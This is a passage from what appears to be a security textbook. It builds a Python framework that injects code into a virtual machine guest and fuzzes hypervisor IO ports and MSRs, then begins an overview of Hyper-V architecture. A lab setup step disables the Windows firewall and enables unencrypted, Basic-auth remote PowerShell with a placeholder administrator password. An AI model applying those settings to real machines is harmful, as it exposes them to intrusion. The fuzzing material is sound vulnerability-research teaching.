use this field to access the checksum ❹ field when computing the CRC32-C of the
message’s body.
PART V
Following the same order as the C implementation, we will define TP values and
primitives (integers):
TP = c.Enum(c.Int32ul,
UInt8=0x001, UInt16=0x002, UInt32=0x004, UInt64=0x008,
Int8=0x101, Int16=0x102, Int32=0x104, Int64=0x108,
Array=0x400, CString=0x500, List=0x600, Nil=0x700
)
IntPrefixes = (❶
TP.UInt8, TP.UInt16, TP.UInt32, TP.UInt64,
TP.Int8, TP.Int16, TP.Int32, TP.Int64
)
IntConstructs = (❷
c.Int8ul, c.Int16ul, c.Int32ul, c.Int64ul,
c.Int8sl, c.Int16sl, c.Int32sl, c.Int64sl
)
IntFixed = (
f.UInt8, f.UInt16, f.UInt32, f.UInt64, f.Int8, f.Int16, f.Int32, f.Int64
)
def make_adapter(cInt, fInt):
return c.ExprSymmetricAdapter(cInt, lambda obj, _: fInt(obj))
IntAdapters = (❸
make_adapter(cInt, fInt) for cInt, fInt in zip(IntConstructs, IntFixed)
)
IntAlist = list(zip(IntPrefixes, IntAdapters))❹
502
IntPrefixes ❶ is the group of TP values corresponding to primitive types, and
IntConstructs ❷ is its associated group of constructs. Instead of using Python’s big-
num integers, we want to work with fixed-sized values. For this purpose, we created
a list of adapters called IntAdapters ❸. Finally, we map TP values to their respective
adapters in IntAlist ❹.
Compound types require more work, mostly due to the implementation of adapters
to convert them to standard collections:
class ArrayAdapter(c.Adapter):❸
def _decode(self, obj, context, path):
subtype = dict(zip(IntPrefixes, IntFixed))[obj.subtype]
return tuple(subtype(x) for x in obj.v)
def _encode(self, obj, context, path):

subtype = dict(zip(IntFixed, IntPrefixes))[type(obj[0])]
return {'count': len(obj), 'subtype': subtype, 'v': obj}
class ListAdapter(c.Adapter):❽
ret = []
while obj.head != None:
ret.append(obj.head)
obj = obj.tail
return ret

xs = {'head': None, 'tail': None}
for x in reversed(obj):
xs = {'head': x, 'tail': xs}
return xs
List = c.Struct(❻
'head' / c.LazyBound(lambda: Body),
'tail' / c.If(c.this.head != None, c.LazyBound(lambda: List))
)
CompAlist = [❶
(TP.Array, ArrayAdapter(❷
c.Struct(
'count' / c.Int32ul,
'subtype'/ c.Select(*(c.Const(x, TP) for x in IntPrefixes)),
'v' / c.Array(
c.this.count, c.Switch(c.this.subtype, dict(IntAlist)))))),
(TP.CString, c.CString('ascii')),❹
(TP.List, ListAdapter(List)),❺
(TP.Nil, c.Computed(None))
]
PythonObj = IntFixed + (tuple, str, list, type(None))
Prefixes = IntPrefixes + (TP.Array, TP.CString, TP.List, TP.Nil)
class BodyAdapter(c.Adapter):❾
return obj.value

return {
'prefix': dict(zip(PythonObj, Prefixes))[type(obj)],
'value': obj
503
}
Body = BodyAdapter(❼
c.Struct(
'prefix' / TP,
'value' / c.Switch(c.this.prefix, dict(IntAlist + CompAlist)))
)
We start with CompAlist ❶, an associative list of the TP values representing com-

pound types and their respective constructs.
The first element of this list is the array type ❷, where we define the construct for the
Array_t header, followed by a “v” field for holding the array elements. The construct is
wrapped by ArrayAdapter ❸, which converts the resulting object into a Python tuple.
The next element is the string type ❹, which is associated directly to the CString
construct.
Finally, we have the list type ❺. In this case, we bind the construct to the List ❻ sym-
bol so we can refer to it recursively. We can see that the construct also refers to a symbol
called Body ❼, which we haven’t defined yet. To make it possible to work with forward
declarations, we use LazyBound. The construct is wrapped by ListAdapter ❽ to convert
the resulting object into a Python list.
Body parses a TP prefix and looks for its associated construct in both IntAlist and
CompAlist. This construct can parse (or build) any TP value, so we refer to it when pars-
ing list elements but also to parse a message’s body. We wrap it with BodyAdapter ❾ to
remove the now redundant TP prefix when converting the object to a Python collection.
To complete the implementation, we need a construct for whole messages:
Message = c.Struct(❶
'header' / MsgHdr,
'body' / c.RawCopy(Body),
PART V
'_body_checksum' / c.Pointer(❷
c.this.header.hdr.value._csum_offset,
c.Checksum(c.Int32ul, crc32c, c.this.body.data)
)
)
def recv(reader):❸
hdr = reader.read(MsgHdr.sizeof())
body = reader.read(MsgHdr.parse(hdr).hdr.value.len)
msg = Message.parse(hdr + body)
return (msg.header.hdr.value.type, msg.body.value)
def send(writer, body):❹

body = Body.build(body)
header = MsgHdr.build({
'hdr': {
'value': {
'type': MT.Request,
'len': len(body),
'checksum': crc32c(body)
}
}
})
writer.write(header + body)
writer.flush()
504
Message ❶ combines the MsgHdr and Body constructs, and it calculates the
CRC32-C of the latter, which is applied to the checksum field in the header. This is
achieved by passing the value from _csum_offset to Pointer ❷.
The final interface is exposed through the recv ❸ and send ❹ functions. Given a
reader object, recv deserializes a message, returning a tuple with the message’s type and
body. In the case of send, it takes a writer object and the request’s body (as a standard
Python collection), serializes the message, and writes it to the object.
Lab 24-3: Running the Guest (Python)
In this section, we will write a Python class to abstract the process of launching a VM
instance and receiving messages from the serial port. Later in this chapter, we will extend
it to provide code injection capabilities.
# guest.py
from subprocess import Popen, PIPE
import protocol
class Guest:❶
def __init__(self):
self.proc = None
def __enter__(self):
self.proc = Popen(
('exec qemu-system-x86_64 -display none -boot d '
'-cdrom kernel_bios.iso -m 300M -serial stdio -enable-kvm'),
stdout=PIPE, stdin=PIPE, shell=True
)
return self
def __exit__(self, type, value, traceback):

self.proc.kill()
def messages(self):❷
while self.proc.returncode is None:
yield protocol.recv(self.proc.stdout)
Guest ❶ is a context manager where the resource we manage is a VM instance.

Currently, we use QEMU/KVM, but we could subclass it to work with other targets.
The messages ❷ generator receives and parses incoming messages sent by the kernel.
Let’s write a simple test script to launch the VM and print the messages we receive:
# main.py
from guest import Guest
with Guest() as g:
for msg in g.messages():
print(msg)
The script, produces the following output:

└─# python3 main.py
(EnumIntegerString.new(3, 'OOB'), [UInt32(0), 'kmain at 0x%016lx',
UInt64(4199195)])
(EnumIntegerString.new(0, 'Boot'), [['symbols', [
['__ehdr_start', UInt64(4194304)], ['_end', UInt64(16838728)],
505
['put_va', UInt64(4204780)], ['send_msg', UInt64(4205194)]]],
['mmap', [[['address', UInt64(0)], ['length', UInt64(654336)],
['type', UInt32(1)]], [['address', UInt64(654336)],
['length', UInt64(1024)], ['type', UInt32(2)]],
…
We can observe an OOB message, followed by the boot message containing symbols
and address space information. In the next section, we will handle those messages and
implement the requests to execute arbitrary code in the guest.
Lab 24-4: Code Injection (Python)
Before making the necessary changes to the Guest class, we will need a couple of auxiliary
classes:
• RemoteMemory The purpose of this class is to provide an alloc/free interface

to the guest’s memory. It will get instanced from the memory-map information
of boot messages.
• Code This class abstracts the assembler invocation to produce binary code from
a string containing assembly.
# remotemem.py
import portion as P
class RemoteMemoryError(Exception):
pass
PART V
class RemoteMemory:
def __init__(self):
self.mem = P.empty()
self.allocations = dict()
def add_region(self, base, size):❶

interval = P.openclosed(base, base + size)
self.mem |= interval
return interval
def del_region(self, base, size):❷

interval = P.openclosed(base, base + size)
self.mem -= interval
return interval
def alloc(self, size):❸

for interval in self.mem:
if interval.upper - interval.lower >= size:
allocation = self.del_region(interval.lower, size)
self.allocations[allocation.lower] = allocation
return allocation.lower
raise RemoteMemoryError('out of memory')
def free(self, address):

self.mem |= self.allocations[address]
del self.allocations[address]
506
We based our RemoteMemory implementation in the portion9 module. The
add_region ❶ and del_region ❷ methods will be used exclusively at the initialization
stage. Once the object is fully initialized, memory can be requested via alloc ❸, employ-
ing an embarrassingly inefficient allocation strategy, but it will be enough for our needs.
# code.py
import os
from subprocess import run
from tempfile import NamedTemporaryFile
class Code:
def __init__(self, code, sym):❶
self.code = '[bits 64]\n'
self.code += '\n'.join(f'{k} equ {v:#x}' for (k, v) in sym.items())
self.code += '\n%include "macros.asm"\n' + code
def build(self, base_address):❷

with NamedTemporaryFile('w') as f:
f.write(f'[org {base_address:#x}]\n' + self.code)
f.flush()
run(f'nasm -fbin -o {f.name}.bin {f.name}', shell=True)
with open(f'{f.name}.bin', 'rb') as fout:
ret = fout.read()
os.remove(f'{f.name}.bin')
return ret
Code ❶ is instantiated from a string of assembly code and a dictionary of symbols.

These symbol definitions are prepended to the assembly code together with an “include
macros.asm” directive, where we can add our custom macros. The only method of this
class is build ❷, which invokes the assembler and compiles the code at the specified base
address, returning the resulting binary.
Now we can proceed with the Guest class modifications:
# guest.py
import subprocess
import protocol
from enum import Enum
from remotemem import RemoteMemory
class OpType(Enum):
Write = 0
Exec = 1
class Guest:
def _init_boot_info(self, symbols, mmap):❶
self.symbols = dict(symbols)
self.memory = RemoteMemory()
for entry in map(dict, mmap):
if entry['type'] == 1: # MULTIBOOT_MEMORY_AVAILABLE
self.memory.add_region(entry['address'], entry['length'])
kernel_end = (self.symbols['_end'] + 0x1000) & ~0xfff
self.memory.del_region(0, kernel_end)
def messages(self):
while self.proc.returncode is None:
msg = protocol.recv(self.proc.stdout)
507
msg_type, body = msg
if msg_type == protocol.MT.Boot:
self._init_boot_info(**dict(body))
yield msg
def op_write(self, code, address=None):❷

if address is None:
address = self.memory.alloc(len(code.build(0)))
self._request += [
protocol.f.UInt32(OpType.Write.value),
protocol.f.UInt64(address),
tuple(protocol.f.UInt8(x) for x in code.build(address))
]
return address
def op_exec(self, address):❸

self._request += [
protocol.f.UInt32(OpType.Exec.value),
protocol.f.UInt64(address)
]
def op_commit(self):❹
protocol.send(self.proc.stdin, self._request)
self._request.clear()
def execute(self, code):❺

address = self.op_write(code)
self.op_exec(address)
self.op_commit()
self.memory.free(address)
The first change is in the messages method, so now we call _init_boot_info ❶ when
a boot message arrives, to initialize two properties: symbols and memory (an instance
of RemoteMemory).
PART V
Address ranges describing regions of available memory are added to the memory
object, and the range of address zero to the end of the kernel is removed from available
memory.
New methods were implemented to build the operations that compose a request
message:
• op_write ❷ Takes a Code instance (and optionally a base address), builds the
code, and encodes the resulting binary in a write operation, which is then added
to the request’s operations list.
• op_exec ❸ Takes an address and encodes it in an execute operation, adding it
to the operations list.
• op_commit ❹ Takes the contents from the operations list to build and send a
request message.
These methods provide a low-level API, but we implemented an execute ❺ method
for the most common use case, only requiring a Code instance.
508
Let’s test this new functionality by executing some code in the guest:
# main.py
import protocol
from code import Code
class OOBType(Enum):
Print = 0
with Guest() as g:
for (msg_type, body) in g.messages():
if msg_type == protocol.MT.OOB:
oob_type, *msg = body
if oob_type == OOBType.Print.value:
fmt, *args = msg
print(f'PRINT: {fmt % tuple(args)}')
print('BOOTED')
g.execute(Code("""
OOB_PRINT "hello world!"
REPLY_EMPTY
ret""", g.symbols))❶
if msg_type == protocol.MT.Reply:
print(f'REPLY: {body}')
When a boot message arrives, the script injects a snippet of code into the guest to send
a “hello world!” message ❶.
NOTE The OOB_PRINT and REPLY_EMPTY macros are defined in

the “macros.asm” file, which was omitted from the code listings for
brevity reasons.
└─# python3 main.py
PRINT: kmain at 0x000000000040131b
BOOTED
PRINT: hello world!
REPLY: []
We can see a “hello world!” message and an empty reply produced by the injected
code!
Fuzzing
With our current framework, we are now able to launch a VM and execute arbitrary
code at Ring-0. All this from just a few Python lines. Now we are going to use it to fuzz
hypervisors!
509
The Fuzzer Base Class
Writing fuzzers involves some repetitive tasks that we can abstract into a base class:
# fuzzer.py
import random
import signal
import protocol
class OOBType(Enum):
Print = 0
Assert = 1
class Fuzzer:
regs = ('rax', 'rbx', 'rcx', 'rdx', 'rsi', 'rdi', 'rbp', 'rsp',
'r8', 'r9', 'r10', 'r11', 'r12', 'r13', 'r14', 'r15')
def __init__(self, seed):❶
self.rand = random.Random(seed)
signal.signal(signal.SIGALRM, Fuzzer.timeout_handler)
@staticmethod
def timeout_handler(signum, frame):
raise Exception('TIMEOUT')
def context_save(self):
return 'pop rax\n' + '\n'.join(
f'mov qword [{self.context_area + n*8:#x}], {reg}'
for (n, reg) in enumerate(self.regs)) + '\n'
def context_restore(self):
return '\n'.join(
PART V
f'mov {reg}, qword [{self.context_area + n*8:#x}]'
for (n, reg) in enumerate(self.regs)) + '\njmp rax\n'
def code(self, code):

return Code(code, self.guest.symbols)
def fuzz(self, reply):❸

raise NotImplementedError
def on_boot(self, body):❹

self.fuzz([])
def handle_message(self, msg_type, body):

if msg_type == protocol.MT.OOB:
…omitted for brevity…
else:
self.context_area = self.guest.memory.alloc(0x1000)
self.on_boot(body)
else:
self.fuzz(body)
def run(self):❷
while True:
try:
510
with Guest() as self.guest:
for msg in self.guest.messages():
signal.alarm(0)
signal.alarm(2)
self.handle_message(*msg)
except Exception as e:
print(f'exception: {e}')
Fuzzer (or any derived class) objects are instantiated ❶ from a seed value used to
initialize the fuzzer’s pseudo-random state. The actual fuzzing is performed by the run ❷
method, which launches the guest and handles incoming messages. The message process-
ing loop sets an alarm, so if the fuzzer gets stuck for a few seconds, an exception is raised
and the fuzzer restarts with a new guest.
Reply messages are dispatched to the fuzz ❸ method, which needs to be implemented
by subclasses. Incoming boot messages can be handled by subclasses, which overload
on_boot ❹. When on_boot is not overloaded this method just calls fuzz, passing an
empty body.
Finally, we have a few convenient methods for code generation (code, context_save,
and context_restore).
Lab 24-5: IO-Ports Fuzzer
Time to write our first fuzzer! The goal here is to learn how the different pieces of the
framework fit together. So, in this case, we will focus on simplicity over usefulness.
This fuzzer will be a naive random IN/OUT instruction generator:
# port_fuzzer.py
import sys
import fuzzer
class Fuzzer(fuzzer.Fuzzer):
def __init__(self, seed):
super().__init__(seed)
self.discovered_ports = []❶
self.blacklisted_ports = list(range(0x3f8, 0x3f8 + 5))❷
def fuzz(self, reply):

if reply:
port, value = reply
if value != (1 << value.width) - 1 \❸
and port not in self.discovered_ports:
print(f'New port: {port:04x} -> {value:08x}')
self.discovered_ports.append(port)
size = self.rand.choice((8, 16, 32))
reg = {8: 'al', 16: 'ax', 32: 'eax'}[size]
port = self.blacklisted_ports[0]
while port in self.blacklisted_ports:
if not self.discovered_ports or self.rand.choice((True, False)):
port = self.rand.randint(0, 0xffff)❹
else:
port = self.rand.choice(self.discovered_ports)❺
op = self.rand.choice((
f"""mov dx, {port:#x}
511
in {reg}, dx
PUT_VA UInt16, rdx, UInt{size}, rax❻
REPLY
""",
f"""mov dx, {port:#x}
mov {reg}, {self.rand.randint(0, (1 << size) - 1):#x}❼
out dx, {reg}
REPLY_EMPTY
"""))
code = self.code(self.context_save() + op + self.context_restore())
self.guest.execute(code)
if __name__ == "__main__":
Fuzzer(int(sys.argv[1])).run()
Two properties are added to this new Fuzzer subclass: a list of discovered ports ❶
(empty initially) and a blacklist ❷ that was initialized with the ports used by the serial so
that we can avoid messing with protocol transport.
The first thing that fuzz does is to check whether the reply of the last iteration
contains data resulting from the previous execution of an IN instruction. If this data
doesn’t have all its bits set ❸, it means we read a valid port, so we add it to the list of
discovered ports.
Target ports are randomly generated 16-bit integers ❹ or are taken from the elements
of the discovered ports list ❺, but they must not be present in the blacklist.
IN or OUT instructions are chosen randomly. IN contains extra code to send a reply,
including the port number and the value of the destination operand ❻. OUT takes a
random value ❼ in its source operand and sends back an empty reply.
The fuzzer is invoked, passing a seed value argument:
PART V
└─# python3 port_fuzzer.py 12345
PRINT: kmain at 0x00000000004012fa
New port: 0718 -> 00000000
New port: 0707 -> 00000000
New port: 00dd -> 00000000
New port: 072d -> 00000000
…
Lab 24-6: MSR Fuzzer
The previous fuzzer made a good learning example, but we can’t expect much from
it. Now we are going to continue with a slightly more advanced one. This next fuzzer
will generate random RDMSR/WRMSR instructions to fuzz model-specific registers.
Although this is still a super-simple fuzzer, a similar one was able to find real bugs like
CVE-2020-0751.10
# msr_fuzzer.py
import sys
import fuzzer
512
msrs = (❶
0x00, 0x01, 0x10, 0x17, 0x1b, 0x20, 0x21, 0x28, 0x29, 0x2a, 0x2c, 0x34,
0xc0011039, 0xc001103a, 0xc001103b, 0xc001103d
)
def ROR(x, n, bits):
return (x >> n) | ((x & ((2**n) - 1)) << (bits - n))
class Fuzzer(fuzzer.Fuzzer):
def __init__(self, seed):
super().__init__(seed)
self.discovered_msrs = dict()❸
def flip_bits(self, data, bits):❻

bitlens = zip(*((x, (bits-x) ** 6) for x in range(1, bits)))
mask = self.rand.getrandbits(self.rand.choices(*bitlens)[0])
return data ^ ROR(mask, self.rand.randint(0, bits), bits)
def fuzz(self, reply):

if reply:
msr, rdx, rax = reply
if msr not in self.discovered_msrs.keys():
print(f'New MSR:{msr:08x} -> rdx:{rdx:016x} rax:{rax:016x}')
self.discovered_msrs[msr] = (rdx, rax)
rdx = self.rand.randint(0, (1 << 64) - 1)
rax = self.rand.randint(0, (1 << 64) - 1)
if not self.discovered_msrs or self.rand.choice((True, False)):
rcx = self.rand.choice(msrs)
else:
rcx = self.rand.choice(list(self.discovered_msrs.keys()))
if self.rand.choice((True, False)):
rdx, rax = self.discovered_msrs[rcx]❹
rdx = self.flip_bits(rdx, 64)
rax = self.flip_bits(rax, 64)
if self.rand.choice((True, False)):
rcx = self.flip_bits(rcx, 32)❷
op = self.rand.choice((
f"""mov rcx, {rcx:#x}
rdmsr
PUT_VA UInt32, rcx, UInt64, rdx, UInt64, rax
REPLY
""",
f"""mov rcx, {rcx:#x}
mov rax, {rax:#x}
mov rdx, {rdx:#x}
wrmsr
PUT_VA UInt32, rcx, UInt64, rdx, UInt64, rax❺
REPLY
"""))
code = self.code(self.context_save() + op + self.context_restore())
self.guest.execute(code)
if __name__ == "__main__":
Fuzzer(int(sys.argv[1])).run()
This time, instead of generating an MSR from random integers, we use a hardcoded
list of msrs ❶. Even if this list is not exhaustive (for example, we lack synthetic MSRs
that are hypervisor specific), we allow the fuzzer to mutate ❷ the list elements, so eventu-
ally it will discover new MSRs.
513
Discovered MSRs are stored in a dictionary ❸, so not just the MSR is saved, but also
the content that was read or written. This way, previous content can be included in the
fuzzing corpus ❹ of following iterations. The contents of WRMSR operations are sent,
too ❺, since this means the execution of the instruction didn’t cause an exception.
The flip_bits ❻ method was implemented to perform data mutation. It takes two
arguments: the data to mutate (in the form of an integer) and a size in bits. A bit-length
in the range of 1 to the size argument is randomly selected, giving higher probability to
small sizes. This bit-length is used to generate a random bitmask that is XORed against
the data.
Let’s run the fuzzer and see what happens:
└─# python3 msr_fuzzer.py 12345
…
An annoying number of reboots can be observed; these slow down the fuzzing process
considerably. The reason is that we haven’t implemented any exception-handling mecha-
nism, so we will discuss this issue in the next section.
Lab 24-7: Exception Handling
PART V
Implementing exception handling directly in the kernel has a limiting factor: we can’t
anticipate what every different fuzzer will do in order to recover from it. We should
aim for a more flexible solution, so why not let each fuzzer set its own exception han-
dler instead?
While each fuzzer can implement a recovery strategy that is optimal to its own speci-
ficities, it is nice to have a default set of handlers that are able to recover from simple
cases, so all fuzzers can benefit from it.
# fuzzer.py
class Fuzzer:
… omitted for brevity…
def on_boot(self, body):
self.install_idt()
self.fuzz([])
def install_idt(self, vectors=30):❶

entries = (f'{l:#x}, {h:#x}'
for l, h in map(self.make_vector_handler, range(vectors)))
self.guest.op_exec(
self.guest.op_write(
self.code(f"""lidt [idtr]
ret
align 16
idtr:
514
dw idt_end - idt - 1 ; IDT limit
dq idt ; IDT base
align 16
idt: dq {', '.join(entries)}❸
idt_end:
""")))
def make_vector_handler(self, vec):❷

err_code = ''
code = 'REPLY_EMPTY\n' + self.context_restore()❻
…omitted for brevity…
address = self.guest.op_write(self.code(err_code + code))❹
return ((address & 0xffff) | 0x80000 | (
((address & 0xffff << 16) | 0x8f << 8) << 32), address >> 32)❺
We extend the Fuzzer class to add generic exception handling. In on_boot, a call to
install_idt ❶ is added to inject the exception handlers and set up a new guest’s IDT.
The install_idt method takes a number of vectors (30 by default) and calls
make_vector_handler ❷ for each value in the range of 0 to the number of vectors. Entries
returned by make_vector_handler are used by install_idt to produce a new IDT ❸.
The make_vector_handler method generates the assembly code to handle the speci-
fied vector number and injects it into the guest ❹, but it does not execute it. Then it
returns an IDT entry pointing to the handler ❺. By default, the code produced by
make_vector_handler just sends an empty reply and restores the previous context state ❻.
Without further modifications, we can test the previous MSR fuzzer again:
└─# python3 msr_fuzzer.py 12345
New MSR:c0010112 -> rdx:0000000000000000 rax:0000000000000000
New MSR:000006e0 -> rdx:0000000000000000 rax:0000000000000000
New MSR:00000187 -> rdx:8f492c25eb147d31 rax:2220718fc8f548aa
New MSR:00000258 -> rdx:0000000006060606 rax:0000000006060606
…
We can see that the number of reboots has decreased, thus improving fuzzing speed.
Fuzzing Tips and Improvements

Many topics we could have discussed were left out of this chapter, so before closing up,
let’s look at some ideas you can attempt to implement on your own.
We implemented two very simple fuzzers, but the framework we built allows us to do
way more than that. Use the list of VM-Exit reasons at the beginning of this chapter as
inspiration to write your own fuzzers, paying special attention to exit-reasons 48 and 49,
which are used, among many other things, for memory-mapped I/O (MMIO) emulation.
The serial port is great for testing and learning, since it is widely available and easy
to work with, but it is too slow for fuzzing. You might be asking yourself, why is it slow
if it is virtualized and there aren’t physical limitations involved? The reason is that for
each byte of data we transfer, we cause one VM-Exit, and we need to wait for a context
switch from the hypervisor to its user mode worker process. To get decent fuzzing speeds,
it should be replaced by a paravirtualized device that does data transfer over a shared-
memory ring buffer.
515
A custom bootloader can replace GRUB to achieve faster boot times—or better, the
boot process could be completely bypassed if the target hypervisor supports direct kernel
boot (for example, PVH11).
There are many ways in which the kernel can be made more resilient; for example,
some simple measures would be marking the kernel pages as read-only and using custom
stacks for exception handlers (IST12).
Finally, in our current implementation, the client runs in the same environment as
the target. The ideal is to turn the Guest class into a server (running in the target) and
run the client (fuzzer) in a different machine. This way, we can prevent losing the fuzzer
state if the host crashes.
Summary
This chapter started discussing the hypervisor’s attack surface, describing how differ-
ent functionality converges in a single entry point (the VM-Exit handler) and how we
can trigger many of the exposed execution paths by issuing specific instructions (mostly
privileged) from the guest. From there, we designed and implemented a framework that
allowed us to do it easily from Python. Then we used this framework to implement a
couple of simple fuzzers. To close the chapter, a few recommendations were given on how
to use and improve this framework.
References
1. “Fuzzing para-virtualized devices in Hyper-V,” msrc-blog.microsoft.com/2019/01/28/
fuzzing-para-virtualized-devices-in-hyper-v/.
PART V
2. “Virtual I/O Device (VIRTIO) Version 1.1, Committee Specification,” docs
.oasis-open.org/virtio/virtio/v1.1/csprd01/virtio-v1.1-csprd01.html.
3. “Unikernel,” en.wikipedia.org/wiki/Unikernel.
4. “Invoking grub-mkrescue,” www.gnu.org/software/grub/manual/grub/html_
node/Invoking-grub_002dmkrescue.html.
5. “Multiboot2 Specification,” www.gnu.org/software/grub/manual/multiboot2/
multiboot.html.
6. “Construct,” construct.readthedocs.io.
7. “fixedint,” pypi.org/project/fixedint/.
8. “crc32c,” pypi.org/project/crc32c/.
9. “portion,” pypi.org/project/portion/.
10. “CVE-2020-0751,” labs.bluefrostsecurity.de/advisories/bfs-sa-2020-001/.
11. “PVH,” xenbits.xen.org/docs/4.6-testing/misc/pvh.html.
System Programming Guide,” software.intel.com/content/dam/develop/external/
us/en/documents-tps/325384-sdm-vol-3abcd.pdf.
Inside Hyper-V
CHAPTER
25
• Hyper-V’s architecture overview
• Synthetic interfaces: MSRs, SynIC, hypercalls
• VMBus communication
Microsoft Hyper-V has become an attractive target for security researchers. This
hypervisor is not just used to run critical cloud infrastructure like Azure, but it is also the
backbone of security features of the Windows OS, including Hypervisor-Protected Code
Integrity (HVCI),1 Credential Guard,2 and Application Guard.3 It’s not surprising that
Microsoft has special interest in securing Hyper-V, which is the reason why its Hyper-V
bug bounty4 program awards researchers with amounts as much as US$250,000.
Hyper-V can be a challenging target for newcomers; this chapter serves as an
introduction, giving you an overview of its architecture and covering some of its
paravirtualization interface (focusing on inter-partition communication). An in-depth
discussion of Hyper-V in a single chapter is not possible; that said, the concepts discussed
here should give you the orientation you need to conduct your own research.
NOTE The requisites to understand this chapter are the same as in the
previous one. Be sure you have read the previous chapter and are familiar
with the framework developed in it because we will use it in this chapter.
Environment Setup
Before we start, we need to set up a Hyper-V system where we will conduct our testing.
Hyper-V is available in 64-bit systems since Windows 8 and Windows Server 2008 and
requires hardware-assisted virtualization with Intel VT-x or AMD-V (ARM64 is also
supported, but it won’t be covered here). We assume that our host is running Windows
10 Pro (x64) on a 64-bit Intel CPU with VT-x support. Before we start using Hyper-V,
we must enable it, which can be done from PowerShell (as Administrator):
PS C:\WINDOWS\system32> Enable-WindowsOptionalFeature -Online -FeatureName
Microsoft-Hyper-V -All
Do you want to restart the computer to complete this operation now?
[Y] Yes [N] No [?] Help (default is "Y"):
517
518
CAUTION Hyper-V is not available in Windows Home; you must use the Pro,
Enterprise, or Education edition.
Now reboot the machine to boot Hyper-V.

To test Hyper-V, we will use tools based on the hypervisor research framework
we developed in Chapter 24. We assume these tools will run in a second “client”
box connected to the same network as the Hyper-V box we just set up (the “target”
box). This “client” box can be another physical or virtual machine, but it should have
working Linux and Docker installations. On this second box, clone the code and tools
from GitHub:
Once we grab the code, and before we build the Docker container, we need to edit
the first lines of the file GHHv6/ch25/labs/hyperv_guest.py. This file contains the infor-
mation needed to connect to our “target” box, copy files to it, configure and start VMs:
host = 'hyperv_box'
proxy_port = 2345
user = 'Administrator'
password = 'password123'
deploy = True
Replace hyperv_box with the domain name or IP address of the Hyper-V box, and
replace password123 with the password currently assigned to the Administrator account
of the Hyper-V box.
TIP A few files have to be copied over to the Hyper-V box. By default, the
hyperv_guest.py script always does this copy, but it is only needed once.
To speed up things, after the files have been copied the first time, this
behavior can be disabled by setting the deploy variable to False.
Now we can create the Docker image and run it (from GHHv6/ch25/):
$ docker run --network host -it kali bash
We will disable the Windows firewall and grant remote PowerShell access to the
Hyper-V box by running the following commands as Administrator:
PS C:\WINDOWS\system32> Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False
PS C:\WINDOWS\system32> Enable-PSRemoting -Force
...omitted for brevity...
Configured LocalAccountTokenFilterPolicy to grant administrative rights remotely to local users.
PS C:\WINDOWS\system32> winrm set winrm/config/service '@{AllowUnencrypted="true"}'
PS C:\WINDOWS\system32> winrm set winrm/config/service/auth '@{Basic="true"}'
PS C:\WINDOWS\system32> Get-LocalUser -Name "Administrator" | Enable-LocalUser
Chapter 25: Inside Hyper-V
519
CAUTION We assume the system we are working with is on a private
network. Do not set this configuration on an Internet-facing system
since it is risky!
Hyper-V Architecture
Hyper-V is a Type-1 hypervisor, which means there is a non-hosted VMM module
interacting directly with the hardware. On Intel-based systems, this module is called
hvix64.exe, and on AMD-based systems, this module is called hvax64.exe. During the
boot process, the Windows loader (winload) loads the Hyper-V loader (hvloader), which
in turn loads the VMM module (hvix64 or hvax64). When the VMM starts, it creates a
“root partition” running a Windows OS containing the rest of the virtualization stack.
The root partition is a privileged partition with access to most hardware devices; access
is not total, though, since the root partition shouldn’t be capable of compromising the
VMM integrity.
NOTE The OS running in the root partition is Windows; however, there is

ongoing work to support Linux-based root partitions.
The logical unit of isolation in Hyper-V is called a “partition,” which is conceptually

similar to a VM. As we will see later, there are some differences because partitions can
provide another layer of isolation called Virtual Trust Levels (VTLs).
To run unprivileged VMs, the root partition creates children partitions and assigns
resources to them. The VMM provides a set of hypercalls for this purpose that require a
PART V
special set of privileges (granted to the root partition) to succeed. Another set of hyper-
calls is used by the root partition to register “intercepts,” so the root partition can be
notified by the VMM on specific events caused by the children. The root partition can
propagate these notifications to less-privileged components that perform certain virtual-
ization tasks (like hardware-devices emulation).
Hyper-V Components
It is wise to spread certain virtualization tasks across different components according
to their complexity and service time requirements. In this tier, the VMM is both the
most privileged and most responsive component. For this reason, tasks performed by the
VMM should be limited to those that are either simple or require high responsiveness.
In general, the VMM takes care of handling privileged CPU instructions and sim-
ple devices (like timers and the interrupt controller), whereas slower or more complex
devices are emulated by a “worker process.” Between these two extremes, we can find the
Virtualization Service Providers, which are kernel drivers providing support for paravir-
tualized devices.
520
We already mentioned the VMM module, so let’s see what other components are part
of the virtualization stack.
The Worker Process

The Virtual Machine Worker Process (vmwp.exe) is a user-mode process that runs in
the root partition and handles certain virtualization tasks, including device emulation.
Device emulation provides a vast attack surface; to give you an idea, an x86/x86_64
emulator is needed to handle memory-mapped I/O (MMIO) accesses.
For each VM that is launched, a worker process is started in a dedicated user, isolated
from the worker processes of other partitions or other processes running in the root parti-
tion. In case an attacker successfully exploits a vulnerability in the worker process, it will
end in a user-constrained environment.
NOTE The VMM also includes an x86/x86_64 emulator to handle accesses

to the LAPIC (Local Advanced Programmable Interrupt Controller) page, but
its implementation is minimal compared to the one in the worker process,
supporting only a tiny subset of the x86/x86_64 instruction set. Interestingly
enough, bugs have been found in it.5
The worker process has no direct hypercall access (granted only to ring-0). Instead,
it must use the interface provided by the Virtualization Infrastructure Driver (VID):
vid.sys. The user-mode side that talks to the VID is implemented in vid.dll, imported by
the worker process. The kernel notifies the worker process of guest events (like accesses to
I/O ports or MMIO) through the VID Notification Dispatcher (VND), these events are
based on intercept notifications coming from the VMM. When handling a VM-Exit (for
example, an I/O port access or an EPT violation), the VMM checks for registered inter-
cepts and notifies the kernel in the root partition, which in turn notifies the worker process.
Virtualization Server Providers

Virtualization Service Providers (VSPs) are implemented as kernel drivers running in the
root partition that provide synthetic device support to enlightened (virtualization-aware)
children partitions. Synthetic devices are efficient, paravirtualized devices.
TIP A complex and important VSP is vmswitch.sys. Over the years multiple
vulnerabilities have been found in it.
Guests willing to make use of a synthetic device must implement on their side a
Virtualization Service Consumer (VSC) to communicate with the device’s VSP.
Communication between VSPs and VSCs happens over an inter-partition communica-
tion channel called VMBus (we will discuss the VMBus later in this chapter).
Integration Components
Guest additions communicate (over the VMBus) with Integration Components (ICs)6 to
provide convenience features and performance enhancements to the VM.
521
NOTE Every VMBus “device” (including ICs) has a globally unique identifier
(GUID)7 assigned that children partitions can use to identify the device they
want to establish a connection to.
Integration Components usually found in a Hyper-V VM include the heartbeat

service, key-value data exchange (KVP), file copy, time synchronization, Volume Shadow
Copy, and graceful VM shutdown. They are implemented in the worker process; how-
ever, it is possible to create independent integration services that can communicate via
Hyper-V sockets.8
TIP One of the code examples (GHHv6/ch25/labs/time_sync/py) provided

